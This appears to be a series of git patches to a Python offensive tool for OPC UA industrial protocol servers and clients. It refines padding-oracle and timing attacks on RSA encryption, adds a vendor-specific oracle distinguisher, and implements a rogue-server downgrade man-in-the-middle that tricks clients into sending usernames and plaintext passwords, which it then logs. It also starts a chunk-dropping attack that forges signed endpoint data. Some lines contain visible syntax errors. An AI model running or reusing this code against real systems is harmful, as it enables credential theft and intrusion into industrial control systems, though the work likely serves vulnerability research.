45afa7f..2192329 100644 --- a/attacks.py +++ b/attacks.py @@ -633,11 +633,11 @@ def _attempt_query(self, ciphertext): @classmethod def pick_endpoint(clazz, endpoints): - for endpoint in endpoints: - if endpoint.securityPolicyUri == SecurityPolicy.BASIC128RSA15 and endpoint.transportProfileUri.endswith('uatcp-uasc-uabinary'): - return endpoint - - return None + return max( + (ep for ep in endpoints if ep.transportProfileUri.endswith('uatcp-uasc-uabinary')), + key=lambda ep: ep.securityPolicyUri == SecurityPolicy.BASIC128RSA15, + default=None + ) class PasswordPaddingOracle(PaddingOracle): def __init__(self, @@ -775,13 +775,12 @@ def _cleanup(self): def _attempt_query(self, ciphertext): self._base._setup() payload = ciphertext * self._expansion + start = time.time() try: - start = time.time() retval = self._base._attempt_query(payload) - duration = time.time() - start - except TimeoutError: + except: retval = False - duration = PO_SOCKET_TIMEOUT + duration = time.time() - start try: self._base._cleanup() @@ -795,12 +794,12 @@ def _attempt_query(self, ciphertext): # Padding seems correct. Repeat with clean connections to gain certainty. for i in range(0, self._repeats): self._base._setup() + start = time.time() try: - start = time.time() self._base._attempt_query(payload) - duration = time.time() - start - except TimeoutError: - duration = PO_SOCKET_TIMEOUT + except: + pass + duration = time.time() - start try: self._base._cleanup() @@ -1011,8 +1010,16 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t log(f'Trying a bunch of known plaintexts to assess {oname} oracle quality and reliability...') oracle = oclass(endpoint) try: - quality = padding_oracle_quality(endpoint.serverCertificate, oracle) - log(f'{oname} padding oracle score: {quality}/100') + try: + quality = padding_oracle_quality(endpoint.serverCertificate, oracle) + log(f'{oname} padding oracle score: {quality}/100') + except ServerError as err: + log(f'Got server error {hex(err.errorcode)} ("{err.reason}"). Don\'t know how to interpret it. Skipping {oname} oracle.') + quality = 0 + except Exception as ex: + log(f'Exception {type(ex).__name__} raised ("{ex}"). Skipping {oname} oracle.') + quality = 0 + if quality == 100: log(f'Great! Let\'s use it.') return oracle, endpoint @@ -1344,7 +1351,7 @@ def server_checker(url : str, test_timing_attack : bool): pkcs1_ep = None log('-----------------------') - for i, ep in enumerate(endpoints): + for i, ep in enumerate(endpoints, start=1): epname = f'Endpoint #{i} ({ep.endpointUrl})' log_object(epname, ep) log('-----------------------') @@ -1396,63 +1403,66 @@ def server_checker(url : str, test_timing_attack : bool): log('No findings about these endpoints.') log('Note: cn-inject vulnerabilities have not been checked.') + if not test_timing_attack and not pkcs1_ep: + log('Note: Even when Basic128Rsa15 is not supported, the padding oracle may still work. Try running with -t.') if test_timing_attack: if not pkcs1_ep: - log('No endpoint with Basic128Rsa15. Can\'t test timing attack.') - else: - log('Testing OpenSecureChannel timing attack...') - results = {} - for expandval in [30,50,100]: - log(f'Expansion parameter {expandval}:') - keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() - n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) - okpads = 50 - nokpads = 50 - ok_time = 0 - nok_time = 0 - minok = math.inf - maxnok = 0 - for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): - inputval = int2bytes(pow(plaintext, e, n), keylen) * expandval - oracle = OPNPaddingOracle(pkcs1_ep) - oracle._setup() - starttime = time.time() - try: - oracle._attempt_query(inputval) - except: - pass - duration = time.time() - starttime - - log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') - if padding_ok: - ok_time += duration - minok = min(duration, minok) - else: - nok_time += duration - maxnok = max(duration, maxnok) - - try: - oracle._cleanup() - except: - pass + i, pkcs1_ep = max(enumerate(endpoints, start=1), key=lambda i_ep: i_ep[1].securityPolicyUri != SecurityPolicy.NONE) + log(f'No endpoint advertising Basic128Rsa15. Trying Endpoint #{i} with policy {pkcs1_ep.securityPolicyUri.value} instead.') + + log('Testing OpenSecureChannel timing attack...') + results = {} + for expandval in [30,50,100]: + log(f'Expansion parameter {expandval}:') + keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() + n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) + okpads = 50 + nokpads = 50 + ok_time = 0 + nok_time = 0 + minok = math.inf + maxnok = 0 + for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): + inputval = int2bytes(pow(plaintext, e, n), keylen) * expandval + oracle = OPNPaddingOracle(pkcs1_ep) + oracle._setup() + starttime = time.time() + try: + oracle._attempt_query(inputval) + except: + pass + duration = time.time() - starttime - results[expandval] = { - 'avgok': ok_time / okpads, - 'minok': minok, - 'avgnok': nok_time / nokpads, - 'maxnok': maxnok - } - log('-----------------') - - log('Timing experiment results:') - for expandval, result in results.items(): - log_success(f'Expansion parameter {expandval}:') - log_success(f'Average time with correct padding: {result["avgok"]}') - log_success(f'Average time with incorrect padding: {result["avgnok"]}') - log_success(f'Shortest time with correct padding: {result["minok"]}') - log_success(f'Longest time with incorrect padding: {result["maxnok"]}') - log_success('-----------------') + log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') + if padding_ok: + ok_time += duration + minok = min(duration, minok) + else: + nok_time += duration + maxnok = max(duration, maxnok) + + try: + oracle._cleanup() + except: + pass + + results[expandval] = { + 'avgok': ok_time / okpads, + 'minok': minok, + 'avgnok': nok_time / nokpads, + 'maxnok': maxnok + } + log('-----------------') + + log('Timing experiment results:') + for expandval, result in results.items(): + log_success(f'Expansion parameter {expandval}:') + log_success(f'Average time with correct padding: {result["avgok"]}') + log_success(f'Average time with incorrect padding: {result["avgnok"]}') + log_success(f'Shortest time with correct padding: {result["minok"]}') + log_success(f'Longest time with incorrect padding: {result["maxnok"]}') + log_success('-----------------') def auth_check(url : str, skip_none : bool, demo : bool): diff --git a/crypto.py b/crypto.py index 5db1393..5598620 100644 --- a/crypto.py +++ b/crypto.py @@ -253,7 +253,6 @@ def remove_rsa_padding(payload : bytes, policy : SecurityPolicy) -> Optional[byt def pkcs1v15_signature_encode(hasher, msg, outlen): # RFC 3447 signature encoding. PKCS_HASH_IDS = { - # TODO: sha1 'sha1': b'\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14', 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', From c9592ec8af94d7ad10ed0ca014fc8a0e38d59823 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 11 Apr 2024 16:36:26 +0200 Subject: [PATCH 44/70] Fixed some bugs to make it work against Prosys. --- attacks.py | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/attacks.py b/attacks.py index 2192329..3404680 100644 --- a/attacks.py +++ b/attacks.py @@ -242,26 +242,28 @@ def session_exchange(channel : ChannelState, chunks = [reply.encodedPart for reply in chunkable_opc_exchange(channel.sock, msg)] # Decrypt/unsign if needed. - decoded = b'' + respbytes = b'' for chunk in chunks: if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT: # Decrypt and unpad, while simply ignoring MAC. decrypted = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, chunk) unsigned = decrypted[:-macsize(crypto.policy)] - decoded += pkcs7_unpad(unsigned, 16)[:-1] if not unsigned.endswith(b'\x00') else unsigned[:-1] + decoded = pkcs7_unpad(unsigned, 16)[:-1] if not unsigned.endswith(b'\x00') else unsigned[:-1] elif channel.securityMode == MessageSecurityMode.SIGN: # Just strip MAC. - decoded += chunk[:-macsize(crypto.policy)] + decoded = chunk[:-macsize(crypto.policy)] else: assert(channel.securityMode == MessageSecurityMode.NONE) - decoded += chunk + decoded = chunk + + convo, _ = encodedConversation.from_bytes(decoded) + respbytes += convo.requestOrResponse # Increment the message counter. channel.msg_counter += 1 # Parse the response. - convo, _ = encodedConversation.from_bytes(decoded) - resp, _ = respfield.from_bytes(convo.requestOrResponse) + resp, _ = respfield.from_bytes(respbytes) return resp # OPC exchange over HTTPS. @@ -1186,7 +1188,7 @@ def trylogin(): requestHeader=simple_requestheader(createreply.authenticationToken), clientSignature=signatureData.create( algorithm=rsa_siguri(ep.securityPolicyUri), - signature=rsa_sign(ep.securityPolicyUri, privkey, ep.serverCertificate + createreply.serverNonce), + signature=createreply.serverNonce and rsa_sign(ep.securityPolicyUri, privkey, ep.serverCertificate + createreply.serverNonce), ), clientSoftwareCertificates=[], localeIds=[], @@ -1383,6 +1385,10 @@ def server_checker(url : str, test_timing_attack : bool): if relay_candidate and UserTokenType.CERTIFICATE in tokentypes: findings.append(f'{epname} supports user authentication with certificates. Could potentially also be bypassed via reflect or relay.') + # Discovery warning. + if url not in ep.server.discoveryUrls: + findings.append('Requested URL not in endpoint discovery URL list. Maybe try checking one of the discovery URLs as well?') + # Downgrade attacks. TODO: confirm # if ep.securityPolicyUri == SecurityPolicy.NONE and UserTokenType.USERNAME in tokentypes or UserTokenType.ISSUEDTOKEN in tokentypes: # findings.append(f'{epname} supports user password or token authentication over a None channel. May be vulnerable to a disclosure via a MitM downgrade.') From 47e02d57f480f1d3a92605b16a221e2be3756604 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Thu, 11 Apr 2024 17:07:44 +0200 Subject: [PATCH 45/70] Improved error checking. --- attacks.py | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/attacks.py b/attacks.py index 3404680..29f48f1 100644 --- a/attacks.py +++ b/attacks.py @@ -210,6 +210,10 @@ def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client crypto=deriveKeyMaterial(sp, client_nonce, resp.serverNonce) ) +# In case a response object has a header. Check it for error codes. +def check_status(response : NamedTuple): + if hasattr(response, 'responseHeader') and response.responseHeader.serviceResult & 0x80000000: + raise ServerError(response.responseHeader.serviceResult, f'Bad status code.') # Exchange a conversation message, once the channel has been established by the OPN exchange. def session_exchange(channel : ChannelState, @@ -264,6 +268,7 @@ def session_exchange(channel : ChannelState, # Parse the response. resp, _ = respfield.from_bytes(respbytes) + check_status(resp) return resp # OPC exchange over HTTPS. @@ -283,7 +288,9 @@ def https_exchange( url = url[4:] reqbody = reqfield.to_bytes(reqfield.create(**req_data)) http_resp = requests.post(url, verify=False, headers=headers, data=reqbody) - return respfield.from_bytes(http_resp.content)[0] + resp = respfield.from_bytes(http_resp.content)[0] + check_status(resp) + return resp # Picks either session_exchange or https_exchanged based on channel type. def generic_exchange( @@ -353,7 +360,7 @@ def csr(chan, client_ep, server_ep, nonce): createresp2 = csr(imp_chan, login_endpoint, imp_endpoint, createresp1.serverNonce) if createresp2.serverSignature.signature is None: - raise AttackNotPossible('Server did not sign nonce. An OPN attack may be needed first.') + raise AttackNotPossible('Server did not sign nonce. Perhaps certificate was rejected, or an OPN attack may be needed first.') # Make a token with an anonymous or certificate-based user identity policy. anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] @@ -1180,7 +1187,11 @@ def trylogin(): requestedSessionTimeout=600000, maxResponseMessageSize=2**24, ) - log_success('CreateSessionRequest with certificate accepted.') + if not createreply.serverNonce and ep.securityPolicyUri != SecurityPolicy.NONE: + log('Server did not sign nonce even though security policy is not none. Assuming this indicates authentication failure.') + return None + + log_success('CreateSessionRequest with certificate accepted.') anon_policies = [p for p in ep.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] if anon_policies: log('Trying to activate session.') From a1c70f46ff6c6da3c84691a9d32f40d8e4cb6e86 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 15 Apr 2024 16:13:18 +0200 Subject: [PATCH 46/70] Added Prosys-specific padding oracle distinguisher. --- attacks.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index 29f48f1..58d609a 100644 --- a/attacks.py +++ b/attacks.py @@ -631,12 +631,14 @@ def _attempt_query(self, ciphertext): self._msg.encodedPart = ciphertext opc_exchange(self._socket, self._msg) return True - except ServerError as err: - # print(hex(err.errorcode)) + except ServerError as err: if err.errorcode == 0x80580000: return True elif err.errorcode == 0x80130000: return False + elif err.errorcode == 0x80010000: + # Prosys specific oracle. + return 'block incorrect' not in err.reason else: raise err From 35e2d00d2cc8c5cb86cd0f31d19269fde975e6fa Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 15 Apr 2024 16:35:06 +0200 Subject: [PATCH 47/70] Increased default timeout. --- attacks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index 58d609a..85e68d7 100644 --- a/attacks.py +++ b/attacks.py @@ -606,8 +606,8 @@ def query(self, ciphertext : bytes): return self._attempt_query(ciphertext) # For some reason, one implementation leaves the TCP connection open after failure but stops responding. Put a -# timeout on the socket (kinda arbitrarily picked 3 seconds) to cause a breaking exception when this happens. -PO_SOCKET_TIMEOUT = 3 +# timeout on the socket (kinda arbitrarily picked 10 seconds) to cause a breaking exception when this happens. +PO_SOCKET_TIMEOUT = 10 class OPNPaddingOracle(PaddingOracle): def _setup(self): From cf59da1fbc4d465ec0a790d6d96c715d045f6fa9 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 22 Apr 2024 14:13:11 +0200 Subject: [PATCH 48/70] Better error logging when padding oracle fails. --- attacks.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index 85e68d7..2abc4c6 100644 --- a/attacks.py +++ b/attacks.py @@ -1025,7 +1025,10 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t quality = padding_oracle_quality(endpoint.serverCertificate, oracle) log(f'{oname} padding oracle score: {quality}/100') except ServerError as err: - log(f'Got server error {hex(err.errorcode)} ("{err.reason}"). Don\'t know how to interpret it. Skipping {oname} oracle.') + if err.errorcode == 0x80550000 and endpoint.securityPolicyUri != SecurityPolicy.BASIC128RSA15: + log(f'Got error 0x80550000 (BadSecurityPolicyRejected). Implies {oname} downgrade to Basic128Rsa15 not accepted.') + else: + log(f'Got server error {hex(err.errorcode)} ("{err.reason}"). Don\'t know how to interpret it. Skipping {oname} oracle.') quality = 0 except Exception as ex: log(f'Exception {type(ex).__name__} raised ("{ex}"). Skipping {oname} oracle.') From 6d640b4a2311d1ea17d84b2933a5c166513893b3 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 23 Apr 2024 13:08:34 +0200 Subject: [PATCH 49/70] None downgrade attack. --- attacks.py | 210 +++++++++++++++++++++++++++++++++++++++++++++++++++- messages.py | 37 +++++---- 2 files changed, 232 insertions(+), 15 deletions(-) diff --git a/attacks.py b/attacks.py index 2abc4c6..8885f16 100644 --- a/attacks.py +++ b/attacks.py @@ -7,7 +7,6 @@ from message_fields import * from typing import * from crypto import * -from datetime import datetime from socket import socket, create_connection, SHUT_RDWR from random import Random, randint from enum import Enum, auto @@ -1540,4 +1539,211 @@ def auth_check(url : str, skip_none : bool, demo : bool): log('Anonymous login didn\'t work. Trying self-signed certificate next.') inject_cn_attack(url, TEMPLATE_APP_URI, False, demo) - \ No newline at end of file + +# While acting as a server, read an OPC message from a client. +def read_client_msg(sock : socket, msg_type : Type[OpcMessage]) -> OpcMessage: + with sock.makefile('rb') as sockio: + msg = msg_type() + msg.from_bytes(sockio) + return msg + +# Same for writing. +def write_client_msg(sock : socket, msg : OpcMessage): + with sock.makefile('wb') as sockio: + msg.to_bytes(sockio) + sockio.flush() + +# A client attack is a coroutine that receives client connection sockets. +ClientAttack = Generator[None, socket, None] + +# Sets up and executes an attack against an OPC client instead of a server. +# Also capable of forcing a client connection via ReverseHello, in which case the listen address is used as an +# endpointUri in the Reversehello message. +def client_attack( + attacker : ClientAttack, + listen_host : str, listen_port : int, + revhello_addr : Optional[Tuple[str, int]] = None, + persist : bool = False + ): + if revhello_addr is None: + # Start listening for client connection. + listener = socket.create_server((listen_host, listen_port)) + log(f'Started listening for an incoming client connections on {listen_host}:{listen_port}.') + def clientsocker(): + clientsock, peeraddr = listener.accept() + log_success(f'Received a connection from {":".join(peeraddr)}.') + return clientsock + else: + server_uri = server_eps[0].server.applicationUri + revurl = f'opc.tcp://{listen_host}:{listen_port}/' + def clientsocker(): + log(f'Connecting to client {":".join(revhello_addr)}...') + clientsock = socket.create_connection(revhello_addr) + log(f'Connected. Now sending ReverseHello with server URI "{server_uri}" and endpoint URL "{revurl}".') + write_client_msg(clientsock, ReverseHelloMessage( + severUri=server_uri, + endpointUrl=revurl, + )) + return clientsock + + firstround = True + while firstround or persist: + try: + while True: + attacker.send(clientsocker()) + except StopIteration: + firstround = False + + if revhello_addr is None: + listener.shutdown(socket.SHUT_RDWR) + listener.close() + + +# None downgrade password stealer. +def nonegrade_mitm(server_url : str) -> ClientAttack: + # First try connecting to the server. + server_eps = get_endpoints(server_url) + log(f'Got {len(server_eps)} server endpoints from {server_url}.') + + # Make a spoofed endpoint with None security that only accepts passwords. + # Base this on an existing endpoints, preferably those similar to what we want. + spoofed_ep = max(server_eps, key=lambda ep: ep.securityPolicyUri == SecurityPolicy.NONE) + spoofed_policy = max(spoofed_ep.userIdentityTokens, default=None, lambda p: p.tokenType == UserTokenType.USERNAME) + if not spoofed_policy or spoofed_policy.tokenType != UserTokenType.USERNAME: + spoofed_policy = userTokenPolicy.create( + policyId='1', + tokenType=UserTokenType.USERNAME, + issuedTokenType=None, + issuerEndpointUrl=None, + securityPolicyUri=SecurityPolicy.NONE, + ) + else: + spoofed_policy = spoofed_policy._replace(securityPolicyUri=SecurityPolicy.NONE) + spoofed_ep = spoofed_ep._replace( + securityPolicyUri=SecurityPolicy.NONE, + userIdentityTokens=[spoofed_policy] + ) + + # Creates a simple response header based on a request. + def simple_respheader(reqheader): + return responseHeader.create( + timeStamp=datetime.now(), + requestHandle=reqheader.requestHandle, + serviceResult=0, + serviceDiagnostics=None, + stringTable=[], + additionalHeader=None, + ) + + # Server loop. + while True: + clientsock = yield + + # Get hello. + hello = read_client_msg(clientsock, HelloMessage) + log('Received Hello message from client.') + + # Reflect buffer sizes in Ack. + write_client_msg(clientsock, AckMessage(**{name: getattr(hello, name) for name, _ in AckMessage.fields})) + + # Next should be an unencrypted OPN. + opn = read_client_msg(clientsock, OpenSecureChannelMessage) + log('Received OpenSecureChannel from client.') + if opn.securityPolicyUri != SecurityPolicy.NONE: + raise AttackNotPossible(f'OPN from client has unexpected security policy {opn.securityPolicyUri}.') + + # Send an OPN response initiating an unencrypted channel. + opnconv, _ = encodedConversation.from_bytes(opn.encodedPart) + opnreq, _ = openSecureChannelRequest.from_bytes(opnconv) + token = channelSecurityToken.create( + channelId=1, + tokenId=1, + createdAt=datetime.now(), + revisedLifetime=opnreq.requestedLifetime, + ) + write_client_msg(clientsock, OpenSecureChannelMessage( + secureChannelId=opn.secureChannelId + 1, + securityPolicyUri=SecurityPolicy.NONE, + senderCertificate=None, + receiverCertificateThumbprint=None, + encodedPart=encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=opnconv.sequenceNumber, + requestId=opnconv.requestId, + requestOrResponse=openSecureChannelResponse.to_bytes(openSecureChannelResponse.create( + responseHeader=simple_respheader(opnreq.requestHeader), + serverProtocolVersion=0, + securityToken=token, + serverNonce=None, + )) + )) + )) + + # Response message helper. + def responder(reqmsg, resptype, **data): + convo, _ = encodedConversation.from_bytes(reqmsg.encodedPart) + write_client_msg(clientsock, ConversationMessage( + securityChannelId=token.channelId, + tokenId=token.tokenId, + encodedPart=encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=req_convo.sequenceNumber, + requestId=req_convo.requestId, + requestOrResponse=resptype.to_bytes(resptype.create( + responseHeader=simple_respheader(reqmsg.requestHeader), + **data + )), + )) + )) + + # Expecting either GetEndpoints or CreateSession from the client next. + convomsg1 = read_client_msg(clientsock, ConversationMessage) + convo1, _ = encodedConversation.from_bytes(convomsg1.encodedPart) + try: + ep_req, _ = getEndpointsRequest.from_bytes(convo1.requestOrResponse) + except DecodeError: + ep_req = None + + if ep_req: + # Respond with the spoofed endpoint. + log('Received GetEndpointsRequest. Responding with spoofed (unencrypted password demanding) endpoint.') + responder(convomsg1, getEndpointsResponse, endpoints=[spoofed_ep]) + else: + csr, _ = createSessionRequest.from_bytes(convo1.requestOrResponse) + log('Received CreateSessionRequest.') + responder(convomsg1, createSessionResponse, + sessionId=NodeId(9,1234), + authToken=NodeId(9,1235), + revisedSessionTimeout=csr.requestedSessionTimeout, + serverNonce=None, + serverCertificate=spoofed_ep.serverCertificate, + serverEndpoints=[spoofed_ep], + serverSoftwareCertificates=[], + serverSignature=signatureData.create(algorithm=None,signature=None), + maxRequestMessageSize=csr.maxResponseMessageSize, + ) + + # Finally consume ActivateSessionRequest. + convomsg2 = read_client_msg(clientsock, ConversationMessage) + convo2, _ = encodedConversation.from_bytes(convomsg1.encodedPart) + asr, _ = activateSessionRequest.from_bytes(convo2.requestOrResponse) + log_success('Received unencrypted ActivateSessionResponse from client.') + if asr.userIdentityToken.policyId != spoofed_policy.policyId: + raise AttackNotPossible(f'Client picked unexpected policy ID: {asr.userIdentityToken.policyId}') + + log_success(f'Username: {asr.userIdentityToken.userName}') + if asr.userIdentityToken.encryptionAlgorithm: + log('However, password is still encrypted.') + else: + pwd = asr.userIdentityToken.password.decode(errors="replace") + log_success(f'Password: {pwd}') + + # Kill this connection and end the attack round. + clientsock.shutdown(socket.SHUT_RDWR) + clientsock.close() + return + +# # MitM attack that uses the chunk dropping attack to modify signed endpoint info to trick a client into exposing its +# # password. +# # If tcp_resets is True intentional connection interruptions will be introduced to make a client accept gaps even when +# # it is strictly enforcing https://reference.opcfoundation.org/Core/Part6/v104/docs/6.7.2.4 +# def chunkdrop_mitm(server_url : str, tcp_resets : bool) -> ClientAttack: +# \ No newline at end of file diff --git a/messages.py b/messages.py index 100f696..419cbd3 100644 --- a/messages.py +++ b/messages.py @@ -155,6 +155,13 @@ class ConversationMessage(OpcMessage): ('encodedPart', TrailingBytes()) ] +class ReverseHelloMessage(OpcMessage): + messagetype = 'RHE' + fields = [ + ('serverUri', StringField()), + ('endpointUrl', StringField()), + ] + encodedConversation = ObjectField('EncodedConversation', [ ('sequenceNumber', IntField()), ('requestId', IntField()), @@ -250,15 +257,17 @@ class NodeClass(IntEnum): ('requestedLifetime', IntField()), ]) +channelSecurityToken = ObjectField('ChannelSecurityToken', [ + ('channelId', IntField()), + ('tokenId', IntField()), + ('createdAt', DateTimeField()), + ('revisedLifetime', IntField()), +]) + openSecureChannelResponse = EncodableObjectField('OpenSecureChannelResponse', 449, [ ('responseHeader', responseHeader), ('serverProtocolVersion', IntField()), - ('securityToken', ObjectField('ChannelSecurityToken', [ - ('channelId', IntField()), - ('tokenId', IntField()), - ('createdAt', DateTimeField()), - ('revisedLifetime', IntField()), - ])), + ('securityToken', channelSecurityToken), ('serverNonce', ByteStringField()), ]) @@ -274,19 +283,21 @@ class NodeClass(IntEnum): ('maxResponseMessageSize', IntField()), ]) +userTokenPolicy = ObjectField('UserTokenPolicy', [ + ('policyId', StringField()), + ('tokenType', EnumField(UserTokenType)), + ('issuedTokenType', StringField()), + ('issuerEndpointUrl', StringField()), + ('securityPolicyUri', SecurityPolicyField()), +]) + endpointDescription = ObjectField('EndpointDescription', [ ('endpointUrl', StringField()), ('server', applicationDescription), ('serverCertificate', ByteStringField()), ('securityMode', EnumField(MessageSecurityMode)), ('securityPolicyUri', SecurityPolicyField()), - ('userIdentityTokens', ArrayField(ObjectField('UserTokenPolicy', [ - ('policyId', StringField()), - ('tokenType', EnumField(UserTokenType)), - ('issuedTokenType', StringField()), - ('issuerEndpointUrl', StringField()), - ('securityPolicyUri', SecurityPolicyField()), - ]))), + ('userIdentityTokens', ArrayField(userTokenPolicy)), ('transportProfileUri', StringField()), ('securityLevel', IntField(' Date: Tue, 23 Apr 2024 16:47:26 +0200 Subject: [PATCH 50/70] Implementation of range dropping attack. --- attacks.py | 307 ++++++++++++++++++++++++++++++++++++++++++++-- message_fields.py | 8 ++ messages.py | 18 ++- 3 files changed, 319 insertions(+), 14 deletions(-) diff --git a/attacks.py b/attacks.py index 8885f16..0429741 100644 --- a/attacks.py +++ b/attacks.py @@ -7,7 +7,7 @@ from message_fields import * from typing import * from crypto import * -from socket import socket, create_connection, SHUT_RDWR +from socket import socket, create_connection, create_server, SHUT_RDWR from random import Random, randint from enum import Enum, auto from binascii import hexlify, unhexlify @@ -1548,9 +1548,9 @@ def read_client_msg(sock : socket, msg_type : Type[OpcMessage]) -> OpcMessage: return msg # Same for writing. -def write_client_msg(sock : socket, msg : OpcMessage): +def write_client_msg(sock : socket, msg : OpcMessage, final_chunk : bool=True): with sock.makefile('wb') as sockio: - msg.to_bytes(sockio) + msg.to_bytes(sockio, final_chunk) sockio.flush() # A client attack is a coroutine that receives client connection sockets. @@ -1567,7 +1567,7 @@ def client_attack( ): if revhello_addr is None: # Start listening for client connection. - listener = socket.create_server((listen_host, listen_port)) + listener = create_server((listen_host, listen_port)) log(f'Started listening for an incoming client connections on {listen_host}:{listen_port}.') def clientsocker(): clientsock, peeraddr = listener.accept() @@ -1741,9 +1741,296 @@ def responder(reqmsg, resptype, **data): clientsock.close() return -# # MitM attack that uses the chunk dropping attack to modify signed endpoint info to trick a client into exposing its -# # password. -# # If tcp_resets is True intentional connection interruptions will be introduced to make a client accept gaps even when -# # it is strictly enforcing https://reference.opcfoundation.org/Core/Part6/v104/docs/6.7.2.4 -# def chunkdrop_mitm(server_url : str, tcp_resets : bool) -> ClientAttack: -# \ No newline at end of file +# MitM attack that uses the chunk dropping attack to modify signed endpoint info to trick a client into exposing its +# password. +# If tcp_resets is True intentional connection interruptions will be introduced to make a client accept gaps even when +# it is strictly enforcing https://reference.opcfoundation.org/Core/Part6/v104/docs/6.7.2.4 +def chunkdrop_mitm(server_url : str, tcp_resets : bool) -> ClientAttack: + if tcp_resets: + raise Exception('tcp_resets feature not yet implemented') + + # Given a binary endpoint array, this will return a list of byteranges to drop to turn the result into a suitable + # endpoint description. + # Attempts to create an array with a single endpoint with a Sign security mode that requires an unencrypted password. + def ranges_to_drop(ep_bytes): + # Store offsets and values of array elements. + epcount, todo = IntField().from_bytes(ep_bytes) + offsets = [None] * epcount + for i in range(0, epcount): + offsets[i] = len(ep_bytes) - len(todo) + _, todo = endpointDescription.from_bytes(todo) + + # State for subroutines to update. + cursor = 0 + result = [] + + # Drop a certain amount of bytes. Throws an error if end is reached. + def dropbytes(count): + nonlocal cursor, result + if count == 0: + return + + assert(count > 0) + if cursor < len(ep_bytes): + if result and result[-1][1] == cursor: + result[-1][1] += count + else: + result += [(cursor, cursor + count)] + cursor += count + else: + errormsg = 'Server endpoint list did not allow desired mutation' + if epcount == 1: + errormsg += ' because it only contained a single endpoint' + elif epcount < 4: + errormsg += f'. Probably because it only contained {epcount} entries' + errormsg += '.\n Perhaps try against a discovery service instead?' + raise AttackNotPossible(errormsg) + + # Keep dropping ranges until a specific desired byte range is added to the result. + def drop_until_bytes(byteseq): + nonlocal cursor + + tomatch = byteseq + while tomatch: + if ep_bytes and ep_bytes[0] == tomatch[0]: + cursor += 1 + tomatch = tomatch[1:] + else: + dropbytes(1) + + # Drop bytes until the cursor is positioned in front of a specific endpoint field. + def drop_until_field(fieldname): + nonlocal cursor + + # Find starting offset of endpoint the cursor is currently in. + rcursor = max(offset for offset in offsets if offset <= cursor, default=offsets[0]) + + # Keep consuming endpoint description until either cursor or field is reached. + # Run through the description at most twice. + for _ in range(0,2): + for descName, descType in endpointDescription.fields: + if rcursor > cursor: + dropbytes(rcursor - cursor) + + if rcursor == cursor and descName == fieldname: + # Got it. + return + else: + rcursor = len(ep_bytes) - len(descType.from_bytes(ep_bytes[rcursor:])[1]) + + # Should have returned or raised by now, if fieldname is valid. + assert(False) + + # Consume a field. Keep it (and return True) if it meets the predicate. Otherwise drop it. + def checkfield(fieldType, predicate=lambda _: True): + nonlocal cursor + + field, tail = fieldType.from_bytes(ep_bytes[cursor:]) + fieldsize = len(ep_bytes) - cursor - len(tail) + if predicate(field): + cursor += fieldsize + return True + else: + dropbytes(fieldsize) + return False + + # First, make the resulting array length one. + drop_until_bytes(b'\x01\x00\x00\x00') + + # Keep general server info. + checkfield(StringField()) # endpointUrl + checkfield(applicationDescription) # server + checkfield(ByteStringField()) # serverCertificate + + # Spoof a Sign security mode. + drop_until_bytes(b'\x02\x00\x00\x00') + + # Next a non-None security policy is needed for channel security. + while not checkfield(SecurityPolicyField(), lambda sp: sp != SecurityPolicy.NONE): + drop_until_field('securityPolicyUri') + + # Set Identity token array and policyId string lengths to 1. + drop_until_bytes(b'\x01\x00\x00\x00' * 2) + + # Set single policyId character to whatever. + dropbytes(1) + + # Enforce UserName token type. + drop_until_bytes(EnumField(UserTokenType).to_bytes(UserTokenType.USERNAME)) + + # Two null strings. + drop_until_bytes(b'\xff' * 8) + + # Finally make a None security policy is needed for password security. + # This will probably either a subsequent None endpoint or token policy. But otherwise there's a good change the + # prefix can be taken from some other policy and the four bytes spelling out "None" from certificate data. + drop_until_bytes(SecurityPolicyField().to_bytes(SecurityPolicy.NONE)) + + # Finish with a TCP transport profile. + drop_until_field('transportProfileUri') + while not checkfield(StringField(), lambda: pu: pu.endswith('uatcp-uasc-uabinary')): + drop_until_field('transportProfileUri') + + # Any security level will do. + checkfield('securityLevel') + + # Finally, drop all remaining bytes. + dropbytes(len(ep_bytes) - cursor) + return result + + # Grab server endpoints list. + server_eps = get_endpoints(server_url) + log(f'Got {len(server_eps)} server endpoints from {server_url}. Testing if attack is applicable.') + + # Test if rangedropping works on this endpoint list. + 